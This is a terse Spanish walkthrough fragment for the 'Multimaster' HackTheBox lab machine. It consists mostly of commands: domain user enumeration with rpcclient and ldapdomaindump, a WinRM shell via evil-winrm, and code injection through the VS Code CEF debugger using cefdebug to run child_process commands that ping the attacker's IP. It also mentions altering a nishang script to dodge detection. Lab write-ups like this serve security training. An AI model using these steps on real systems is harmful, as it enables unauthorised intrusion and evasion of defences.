# MULTIMASTER Credenciales: `tushikikatomo:finance1` #### rpcclient ``` rpcclient -U "tushikikatomo%finance1" 10.10.10.179 enumdomusers ``` ![](https://i.imgur.com/ef6dHq2.png) ``` rpcclient -U "tushikikatomo%finance1" 10.10.10.179 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d "[]" > users ``` ``` ldapdomaindump -u 'MEGACORP\tushikikatomo' -p 'finance1' 10.10.10.179 ``` ![](https://i.imgur.com/Ygdp2j1.png) ``` php -S 0.0.0.0:80 ``` ![](https://i.imgur.com/4Bs6shL.png) ``` crackmapexec winrm 10.10.10.179 -u 'tushikikatomo' -p 'finance1' ``` ![](https://i.imgur.com/8Rf2zEj.png) ``` evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1' ``` ![](https://i.imgur.com/HGgiovJ.png) ``` net user tushikikatomo ``` ![](https://i.imgur.com/G4L3rNf.png) ``` Get-Process ``` ![](https://i.imgur.com/tokkHH6.png) ![](https://i.imgur.com/kNRa4DI.png) ``` C:\Program Files\Microsoft VS Code\bin> .\code -h ``` ![](https://i.imgur.com/VIGlHuV.png) Versión: 1.37.1 ``` https://github.com/taviso/cefdebug ``` ``` \cefdebug.exe ``` ![](https://i.imgur.com/ElNawIK.png) ``` .\cefdebug.exe --url "ws://127.0.0.1:35063/a5b92cbc-91be-4fcc-b7b6-68bc8cbfc4fe" --code "process.mainModule.require('child_process').exec('ping 10.10.14.11')" ``` ![](https://i.imgur.com/c4fy02b.png) ``` tcpdump -i tun0 icmp -n ``` ![](https://i.imgur.com/qsNqoiW.png) Existe traza ICMP Existe problemas con el nishang, por ello se borran los comentarios y se cambia ne nombre al script ![](https://i.imgur.com/pPkmEja.png)